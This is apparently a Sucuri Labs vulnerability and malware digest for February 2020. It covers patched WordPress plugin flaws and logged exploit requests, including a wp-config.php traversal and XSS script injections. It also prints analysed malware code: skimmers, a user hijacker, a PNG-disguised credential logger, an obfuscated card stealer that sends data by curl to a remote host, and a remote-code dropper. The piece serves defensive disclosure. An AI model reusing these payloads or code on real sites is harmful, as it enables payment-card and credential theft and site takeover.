Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Vulnerabilities Digest: February 2020

Fixed Plugins and Vulnerabilities


PluginVulnerabilityPatched VersionInstalls
DuplicatorArbitrary File Download1.3.281000000
Modula Image GalleryAuthenticated Stored XSS2.2.570000
Easy Property ListingsCSRF3.46000
ThemeREX AddonsRemote Code Execution-40000
Popup BuilderSQL injection3100000
ThemeGrill ImporterDatabase Wipe1.6.2200000
Ninja FormsAuthenticated XSS3.4.231000000
GDPR Cookie ConsentImproper Access Controls1.8.3700000
Participants DatabaseAuthenticated SQL Injection1.9.5.610000
Profile Builder ProUser Registration With Administrator Role3.1.150000
Events Manager ProCSV Injection2.6.7.2100000
Htaccess BestWebSoftCSRF to edit .htaccess-Closed
Auth0Reflected XSS3.11.34000
Portfolio Filter GalleryCSRF & Reflected XSS1.1.310000
Strong TestimonialsStored XSS2.40.190000

Highlights for February 2020

Plugin vulnerabilities allowing attackers to take full control of WordPress sites were most predominant this past month.

ThemeREX Addons

Some versions of the ThemeREX Addons plugin were affected by an unprotected API located in the file, located at:

Vulnerable Code
// Register endpoints
if ( !function_exists( 'trx_addons_rest_register_endpoints' ) ) {
    add_action( 'rest_api_init', 'trx_addons_rest_register_endpoints');
    function trx_addons_rest_register_endpoints() {
        // Return layouts for the Gutenberg blocks
        register_rest_route( 'trx_addons/v2', '/get/sc_layout', array(
            'methods' => 'GET,POST',
            'callback' => 'trx_addons_rest_get_sc_layout',

As demonstrated above, the endpoint registered with the register_rest_route function doesn’t have the permission_callback attribute, which grants it unrestricted access to the function 'trx_addons_rest_get_sc_layout' and all the shortcodes defined there.

Exploit Attempts Seen in the Wild

The following request is used to check if the plugin is installed and the API is active: -- GET -- /wp-json/trx_addons/v2/get/sc_layout?sc=sdw1dd1 -- - -- 2020-02-19

ThemeGrill Demo Importer

ThemeGrill Demo Importer fixed a high criticality access bypass vulnerability caused by the lack of access restriction in critical function. This bug allows attackers to remove all WordPress tables.

Exploit Attempts Seen in the Wild - - [18/Feb/2020:03:43:19 +0000] "GET /wp-admin/admin-ajax.php?do_reset_wordpress=1 HTTP/1.1" 400 11 "-" - action=heartbeat [18/Feb/2020:19:36:06 +0000] "POST /wp-admin/admin-ajax.php?do_reset_wordpress=true HTTP/1.1" 200 59 ""
Patch (version 1.6.2)
Index: themegrill-demo-importer/trunk/includes/class-demo-importer.php
--- a/themegrill-demo-importer/trunk/includes/class-demo-importer.php
+++ b/themegrill-demo-importer/trunk/includes/class-demo-importer.php
@@ -378,4 +378,8 @@
         global $wpdb, $current_user;
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_die( __( 'Cheatin’ huh?', 'themegrill-demo-importer' ) );
+        }
         if ( ! empty( $_GET['do_reset_wordpress'] ) ) {
             require_once ABSPATH . '/wp-admin/includes/upgrade.php';
Detected IPs

Duplicator Download

A patch was released to protect against unauthenticated file downloads in Duplicator Download. This vulnerability was caused by the lack of restrictions in critical functions.

Exploit Attempts Seen in the Wild - -  "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=dupl.txt HTTP/1.1" 200 11 - - [26/Feb/2020] "GET /?action=duplicator_download&file=../wp-config.php HTTP/1.1" 200 16880 "-"
Patch (version 1.3.28)
@@ -244,8 +279,17 @@
     add_action('plugins_loaded',    'duplicator_update');
     add_action('plugins_loaded',    'duplicator_wpfront_integrate');
-    add_action('admin_init',        'duplicator_init');
+    function duplicator_load_textdomain()
+    {
+        load_plugin_textdomain('duplicator', false, false);
+    }
+    add_action('plugins_loaded', 'duplicator_load_textdomain');
+    add_action('admin_init',        'duplicator_admin_init');

@@ -282,9 +325,9 @@
      * @return null
-    function duplicator_init()
+    function duplicator_admin_init()

Ongoing Campaign Targets Plugin Vulnerabilities

An ongoing malicious campaign that we’ve been actively tracking since early 2019 began ramping up again this month. The campaign targets old, vulnerable plugins to inject malicious scripts into compromised environments.

Malicious domain injected: slow[.]destinyfernandi[.]com

Poll, Survey, Form & Quiz Maker - - [10/Feb/2020] "GET /wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&success=\x22><script type=text/javascript src=''></script> HTTP/1.1"

Fv-wordpress-flowplayer - action=fv_wp_flowplayer_email_signup&list=1&email=<svg/onload=(function() { var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.src = '';document.getElementsByTagName(\x22head\x22)[0].appendChild(elem);})();> [10/Feb/2020:06:39:48 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Easy2Map - mapID=1& [10/Feb/2020] "PUT /wp-admin/admin-ajax.php?action=save_map_name HTTP/1.1"

Live Chat Support - [10/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 11 "livechat_settings"

Newspaper WP Theme - action=td_ajax_update_panel&wp_option%5Busers_can_register%5D=1 [02/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Kiwi-Social-Share - action=kiwi_social_share_set_option&args%5Bgroup%5D=users_can_register&args%5Bvalue%5D=1 [02/Feb/2020 +0000] "PUT /wp-admin/admin-ajax.php HTTP/1.1"

WP GDPR Compliance - --06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22fff\x22; filename=\x220.txt\x22\x0D\x0AContent-Type: application/octet-stream\x0D\x0A\x0D\x0A0\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Awpgdprc_process_action\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22security\x22\x0D\x0A\x0D\x0A\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821\x0D\x0AContent-Disposition: form-data; name=\x22data\x22\x0D\x0A\x0D\x0A{\x22type\x22:\x22save_setting\x22,\x22append\x22:false,\x22option\x22:\x22users_can_register\x22,\x22value\x22 :\x221\x22}\x0D\x0A--06c877efcb09c343777332a2c9feff1cdbf3fe404fde54c556c9832eb821--\x0D\x0A [02/Feb/2020] "POST /wp-admin/admin-ajax.php HTTP/1.1"

PhpMyAdmin and Adminer Scripts

Attackers were found to continue leveraging vulnerable versions of adminer as an infection vector this past February.

Regardless of a websites size, attackers are constantly scanning the internet for exploitable sites. We're seeing a well known attack vector targeting database connection scripts. Here’s the evidence of these malicious requests:

Requests -- GET -- /programs/adminer.php -- - -- 2020-02-02T18:57:23.367Z -- GET -- /temp/adminer.php -- - -- 2020-02-02T19:50:58.552Z -- GET -- /scripts/adminer.php -- - -- 2020-02-03T07:35:56.110Z -- GET -- /log/adminer.php -- - -- 2020-02-03T09:33:46.683Z -- GET -- /adm/adminer.php -- - -- 2020-02-03T13:21:42.542Z -- GET -- /share/adminer.php -- - -- 2020-02-03T20:34:24.056Z -- GET -- /share/adminer.php -- - -- 2020-02-03T20:53:14.112Z -- GET -- /adminer.php -- - -- 2020-02-04T12:52:42.725Z -- GET -- /js/adminer.php -- - -- 2020-02-05T08:05:56.863Z -- GET -- /adminer-4.7.1-mysql-en.php -- - -- 2020-02-02T04:56:59.579Z -- GET -- /adminer-4.7.1-cs.php -- - -- 2020-02-02T04:56:58.579Z -- GET -- /adminer-4.7.1.php -- - -- 2020-02-02T04:56:59.579Z -- GET -- /adminer-4.6.1.php -- - -- 2020-02-19T19:52:49.096Z -- GET -- /adminer2018.php -- - -- 2020-02-19T19:52:49.096Z -- GET -- /adminer2020.php -- - -- 2020-02-19T19:52:49.096Z -- GET -- /adminer12345.php -- - -- 2020-02-19T19:52:49.096Z -- GET -- /adminer-4.6.1-mysql.php -- - -- 2020-02-19T19:52:49.096Z -- GET -- /adminer-4.7.1-mysql.php -- - -- 2020-02-02T04:56:59.579Z -- GET -- /adminer-4.7.2-en.php -- - -- 2020-02-02T04:57:00.580Z -- GET -- /adminer-4.7.2-cs.php -- - -- 2020-02-02T04:57:00.580Z -- GET -- /adminer-4.7.2-mysql-en.php -- GET -- /admin/phpmyadmin/index.php -- - -- 2020-02-20T00:54:35.767Z -- GET -- /phpmyadmin0/index.php -- - -- 2020-02-20T00:54:38.772Z -- GET -- /phpmyadmin1/index.php -- - -- 2020-02-20T00:54:38.772Z -- GET -- /phpmyadmin2/index.php -- - -- 2020-02-20T00:54:38.772Z -- GET -- /xampp/phpmyadmin/index.php -- - -- 2020-02-20T00:54:41.776Z -- GET -- /myadmin2/index.php -- - -- 2020-02-20T00:54:41.776Z -- GET -- /myadmin/index.php -- - -- 2020-02-20T00:54:41.776Z -- GET -- /phpmyadmin-old/index.php -- - -- 2020-02-20T00:54:43.778Z -- GET -- /typo3/phpmyadmin/index.php -- - -- 2020-02-20T00:54:44.781Z -- GET -- /phpmyadmin2222/index.php -- - -- 2020-02-20T00:54:50.788Z


Public exploits already exist for all of the components listed above. We strongly encourage you to keep your software up to date to prevent infection. Websites behind the Sucuri Firewall are protected against these exploits.

Skimmer Plugin Hides Itself From wp-admin

Our analyst Moe O recently discovered an interesting Javascript injection that was stealing submitted payment data from visitors on a WordPress website with a Woocommerce storefront.

The Javascript was found to be loading from a malicious plugin named wpdefault, which had been installed by the attacker. This malicious plugin contained two separate files within its directory.


The wpdefault.php file contains the Javascript used to capture submitted payment details from visitors on the infected website. It’s a rather unusual file — it appears the attacker was trying to create a “swiss army knife” payment sniffer for different payment processors (e.g Stripe, Square, that are available on ecommerce platforms.

Most of wpdefault.php contains code that is commented out and therefore not run, but these comments all include similar Javascript used to capture the payment details submitted when the victim clicks on Place Order or equivalent payment button.

Once captured, the stolen data is stored in the msg and params variables so that it can be exfiltrated to the attacker through a generated XMLHttpRequest. This request is sent to a website controlled by the attacker — and in this case, looks to be a compromised third-party website (neuro-programmer[.]de) rather than an outright malicious domain.

stolen data storage and generated XMLhttprequest

Since the malicious plugin has been installed within the WordPress installation, it has access to add_action which hooks a defined function to a WordPress action.

To highlight this behavior further, let’s examine the actions and functions below.

function secret_plugin_webcusp() {
    global $wp_list_table;
    $hidearr = array('wpdefault/wpdefault.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key,$hidearr)) {
add_action('pre_current_active_plugins', 'secret_plugin_webcusp');

The malware uses the pre_current_active_plugins action alongside the secret_plugin_webcusp function to prevent WordPress from showing the plugin’s name in the Active Plugins list, making it difficult for website owners to identify that the wpdefault plugin has been installed in their environment.

It then uses the pre_user_query action with the created function yoursite_pre_user_query to hide the malicious WordPress administrator wpuser55346 from view in the /wp-admin interface.

function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'wpuser55346'",$user_search->query_where);

A final function — rgkirjeo — is hooked with the login_footer action, which uses Javascript to capture the user_login and user_pass data from login attempts made on the /wp-admin page.

rgkirjeo function hooked with login_footer to capture login and passwords

This malicious plugin was found to be exhibiting behavior similar to this injection we covered last year. It is also related to an investigation made in 2017 which found WordPress classes being used to hide malicious users.

Credit card skimmers can be hidden within compromised environments using a variety of techniques — and methods can extend way beyond hiding them in malicious plugins. Website owners should perform regular security scans of web assets to detect skimmers and other indicators of compromise.

Malicious WordPress User Hijacker

Our analyst Liam Smith recently found a malicious file with the name wp-atom2.php on a compromised WordPress site that had been infected with pharma spam. The spam content had been found injected into the _postmeta table within the WordPress database.

The malicious wp-atom2.php file loads wp-config.php using the require_once function, which contains the database’s host, username, and password information. The attacker can then use this MySQL connection information to authenticate with the MySQL database for the targeted WordPress website.

If the attacker simply loads the file in the browser, the output will just include an array of the data found within the _users table of the WordPress database:

$sql = $mysqli->query("SELECT * FROM {$table_prefix}users LIMIT 0, 10 ");
while($rows = $sql->fetch_assoc()) {
<?php print_r($rows); ?>

This _users table output is extremely helpful to the attacker — it contains information that can be used to create a backdoor and maintain unauthorized access to the compromised environment.

Array WordPress User Hijacker

The ID value can be used to select the user that the attacker wants to change the password for. To change the password, the attacker just needs to submit a crafted GET request with the ID and pass or new parameter.

If pass is used, the attacker can provide their own MD5 hash value to be inserted into the user ID that is included in their HTTP GET request:

$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if ( isset($_GET['pass']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $pas = $_GET['pass'];
    if (isset($pas)) {
        $mysqli->query("UPDATE {$table_prefix}users SET user_pass = '{$pas}' WHERE ID = '{$id}'");

If the attacker uses new, a password value doesn’t need to be provided at all. Instead, the script defaults to the password 12345 for the provided user ID. It then goes on to use the function wp_signon to authenticate the new password and generate a hyperlink to /wp-admin that the attacker can click on for direct access to the /wp-admin interface.

} elseif ( isset($_GET['new']) ) {
    $id  = (isset($_GET['id']) ? (int) $_GET['id'] : 1);
    $mysqli->query('UPDATE '.$table_prefix.'users SET user_pass = \'$P$BLIwZyiB0J2XvUAsNyKQI1hyEMox0A0\' WHERE ID = \''.$id.'\'');
    $creds = array();
    $sql = $mysqli->query("SELECT user_login FROM {$table_prefix}users WHERE ID = '{$id}' LIMIT 0, 1");
    $row = $sql->fetch_assoc();    $creds['user_login']     = $row['user_login'];
    $creds['user_password'] = '12345';
    $creds['remember']         = true;    
$user = wp_signon( $creds, false );    
if ( is_wp_error($user) ) {
       echo $user->get_error_message();
    } else { echo '<a href="/wp-admin/" target="_blank">Log into deep</a>'; }

The best way to mitigate risk and detect malicious activity is to leverage a website monitoring solution to identify indicators of compromise within your environment.

Magento Login Stealer in Fake bg_white.png Image

Our Remediation team analyst Ben Martin recently found a malicious injection in a compromised Magento 1.9.x installation that was stealing Magento user login credentials.

The injection was found in the core Magento file /app/code/core/Mage/Admin/Model/Session.php hiding alongside legitimate PHP code.

  $validate_session = fopen(getcwd()."/media/wysiwyg/bg_white.png", 'a+') or die("Error");
    $session_save2 =  "|Session_strat:".$_SERVER['HTTP_HOST']."Login:".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."Username:".$username."Password:".$password."IP Log:".$_SERVER['REMOTE_ADDR'] . ";" . date("m-d-y=H-i-s") . "\n";
    fwrite($validate_session, $session_save2);

The malware works by defining the $validate_session variable to use the fopen function to open the existing bg_white.png file within the /media/wysiwyg/ directory.

This directory is typically used to host various image files, so the existence of a generically named .png file is not unusual. That being said, the contents of the bg_white.png file do not contain any image data at all. Instead, the contents contain sensitive user information, including Magento usernames, passwords, visitor’s IP addresses, request timestamps, and website information.

This stolen data is gathered by the second variable $session_save2, which leverages superglobal variables and various PHP functions to gather a visitor’s login data before saving it to the file opened by variable $validate_session.

A distinct red flag that caught our attention is the size of the bg_white.png file — it can be enormous. One sample ended up being over 1.4MB in size. The fake image was using much more disk space than similar legitimate images in the same directory. The reason its large size was that it had been stealing Magento login credentials every time someone had logged into their account for over one year. This resulted in over 7,500 lines of stolen logins dating back to February 2019.

To obtain these stolen credentials, the attacker simply needs to send a request for the image file to the infected website. The image file will then be downloaded, complete with all of the stolen Magento logins. Bad actors can easily download the file automatically using a schedule tasker or cron job tool to grab the image with wget and conveniently store it at a defined location.

If you suspect that your Magento site has been compromised or login credentials are being stolen, we offer a free hacked Magento guide to assist you with clean up. Our remediation specialists are also available to lend a hand with malware removal.

Magento Credit Card Stealer: harilov[.]com

Our Remediation team lead Ben Martin recently discovered a single line obfuscated PHP injection in the main index.php file of a Magento 1.9.x website. It was being used to capture and exfiltrate payment card data from an infected website as soon as a victim submits their information.

ini_set('display_errors', 0); error_reporting(0); $hBcS = implode("_", array("str", implode("", array('ro','t13')))); $PXZum = $hBcS('onfr64_rapbqr'); $AiPVp=$hBcS('onfr64_qrpbqr'); $rKwfSV = $hBcS('frevnyvmr'); $PHCUqZ=$hBcS($AiPVp('Y2VydF96bmdwdQ==')); $kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');  if ($PHCUqZ("/".$AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=')."/i", $rKwfSV($_REQUEST))) $GwYqF=$kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")).' "'.trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")).$PXZum( $rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE))."&host=".$_SERVER["HTTP_HOST"]."\" ".trim($AiPVp('aHR0cDovL2hhcmlsb3YuY29tL3Rlc3RTZXJ2ZXIucGhw')).' '.trim($AiPVp("ID4gL2Rldi9udWxsIDI+JjEgJg==")));

After beautifying the initial injection, it becomes easier to read. The obfuscation is light and primarily uses rot13 and base64 encoding to obfuscate the actual PHP.

$hBcS = implode("_", array("str", implode("", array('ro','t13'))));
// $hBcS = str_rot13
$PXZum = $hBcS('onfr64_rapbqr');
// $PXZum = base64_encode
$AiPVp = $hBcS('onfr64_qrpbqr');
// $AiPVp = base64_decode
$rKwfSV = $hBcS('frevnyvmr');
// $rKwfSV = serialize
$PHCUqZ = $hBcS($AiPVp('Y2VydF96bmdwdQ=='));
// $PHCUqZ = preg_match
$kusahdjI = $AiPVp('c2hlbGxfZXhlYw==');
// $kusahdjI = shell_exec

As seen above, I have included comments below the malicious lines of PHP to help clarify the decoded PHP functions. These functions are important since they are used to capture and exfiltrate the payment card data later in the code.

When decoded, the string Y2VydF96bmdwdQ== becomes the function preg_match, which is used to detect a variety of payment field details from HTTP requests data sent to the file.

Since the malicious code is being injected into Magento’s main index.php file, it is typically loaded whenever visitors make a request to the infected website’s checkout page. If one of the fields defined in the preg_match function are detected, then the PHP function shell_exec is used to initiate a curl request. This request sends the detected payment field data to the C2 host harilov[.]com/testServer[.]php through a crafted POST HTTP request.

To evade detection, the malware directs any possible output from the curl request to /dev/null. The PHP injection itself also contains error_reporting(0), which is used to silence any PHP errors occurring from the injected code.

if ($PHCUqZ("/" . $AiPVp('Y3ZjMnx1c2VybmFtZXxzaGlwcGluZ3xjYXJkX251bWJlcnxjY198ZHVtbXl8cGF5bWVudHx5ZWFyfHNlY3VyZXRyYWRpbmd8Zmlyc3RuYW1lfGV4cGlyeXxtb250aHxsb2dpbnxjY19udW1iZXJ8Y3Z2fGJpbGxpbmc=') . "/i", $rKwfSV($_REQUEST)))
//if preg_match('/cvc2|username|shipping|card_number|cc_|dummy|payment|year|securetrading|firstname|expiry|month|login|cc_number|cvv|billing/i', serialize($_REQUEST))
$GwYqF = $kusahdjI(trim($AiPVp("Y3VybCAgLS1kYXRh")) . ' "' . trim($AiPVp("dmVyc2lvbj0xJmVuY29kZT0=")) . $PXZum($rKwfSV($_REQUEST) . "--" . $rKwfSV($_COOKIE)) . "&host=" . $_SERVER["HTTP_HOST"] . "\" " . trim($AiPVp('aHR0cDovL2xvY2FsaG9zdC9jdXJsLnBocA==')));
//shell_exec(curl --data "version=1&encode=base64_encode(serialize($_REQUEST))--cookiestring&host=hxxp%3A%2F%2Fharilov[.]com%2FtestServer.php"  > /dev/null 2>&1 &)

The best way to mitigate this type of injection is to use website monitoring with server side scanning capabilities to detect changes within the entire website environment.

Email Scraper: Mass Mail Grabber from Database

One of our Remediation team analysts, Liam Smith, discovered a malicious file on a client’s compromised WordPress website that demonstrates how attackers can use rudimentary tools to extract specific data from available databases.

In this case, a malicious PHP file was targeting email addresses stored on a compromised webserver.


The input data requested by the malicious PHP script is used to connect to the SQL server/service and access any available SQL databases. The connection information for the compromised website can be gathered from existing configuration files, such as wp-config.php and configuration.php.

Mass Mail Grabber from Database

Once the attacker completes and submits the form on mail.php, the malicious PHP code handles the rest. It connects to any available SQL databases with the login information submitted and queries them.

Mailicious PHP Code

The scraper was not elegantly designed; it’s not efficient in the methods used to perform SQL queries. As a result, it struggles to stay within reasonable max_execution_time or memory_limit limits defined by the hosting server’s php.ini settings.

This inefficiency stems from the fact that it uses the SQL user login information submitted by the attacker on the mail.php form to retrieve a list of available databases, then lists the tables for each database, and finally displays the columns for each table of each database.

Once the data is collected, the final result is then queried. The PHP function preg_match is used to look for text containing the @ symbol in the text fields of the query results. Anything containing the @ symbol is then dumped into the file result-mail.txt, which generates a hyperlink for the attacker to click and download after the malicious tool has finished running.

PHP Dropper Concealed in Malicious WordPress Plugin

Moe Obaid - an analyst from our Remediation Team - recently found a PHP dropper that had been installed as a malicious WordPress plugin. Unlike other fake plugins we’ve recently written about, this plugin had been installed and activated in the administrator backend (wp-admin) to help evade detection.

Once installed and activated, the malicious plugin’s file ./wp-content/plugins/wpfilmngr/index.php is loaded and gains access to specific WordPress PHP functions like the add_action() hook.

PHP Dropper Functionality

This malicious PHP file uses the following PHP code to operate. Pay close attention to the custom function upload1Fsociety112233:

function upload1Fsociety112233(){
        function getDataFromURLWP112233($url)
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            if (!$output) {
                $output = file_get_contents($url);
                if (!$output) {
                    $handle = fopen($url, "r");
                    $output = stream_get_contents($handle);
            if (!$output) {
                return false;
            } else {
                return $output;

        function putDataFromURLWP112233($file, $dump)
            $dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump;
            file_put_contents($file, $dump);
        if(isset($_REQUEST["testingfsoc"])) {
            $url = $_REQUEST["url"];
            $fileName = $_REQUEST["filename"];
            $fullFileName = $_SERVER["DOCUMENT_ROOT"] . "/$fileName.php";
            $dataFromURL = getDataFromURLWP112233($url);

The custom function upload1Fsociety112233 is actually compromised of two separate custom functions:

  • getDataFromURLWP112233
  • putDataFromURLWP112233

The getDataFromURLWP112233 function does exactly as the name implies. It requests data from a remote host using the PHP curl function. The remote host is provided by the attacker in their crafted HTTP request with the url parameter value. It then inserts the returned data output into a .php file, along with some PHP tags and the MD5 hash values named in the attacker’s HTTP request with the filename value.

The malicious code also contains functionality that conceals the fake plugin to prevent it from being displayed to logged in users in the wp-admin backend. This is accomplished by checking for specific user-agent’s in the visitor’s request.

function validateUserAgentWP112233(){
    function checkSecretUserAgent112233($user){
        if($user == $_SERVER['HTTP_USER_AGENT']){
            return true;
            return false;
    function hookAdminPluginWP112233($plugin){
        $itemsForHooking = array($plugin);
        global $wp_list_table;
        $myData = $wp_list_table->items;
        foreach ($myData as $key => $val) {
            if (in_array($key, $itemsForHooking)) {
    if(!checkSecretUserAgent112233('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36')){

The custom function hookAdminPluginWP112233 is used to hide the plugin from view and only runs if the visitor’s user-agent does not match the defined string:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36

When the malicious plugin is active, it does not show on the active plugin page if the visitor’s user-agent does not match.

The dashboard still shows the total active plugins accurately, but this is often missed by website owners. Most WordPress installations use multiple plugins — making it more difficult to “eyeball” the number of active plugins and detect any unwanted components.

If the user-agent does match the custom function hookAdminPluginWP112233, the malicious plugin will actively display.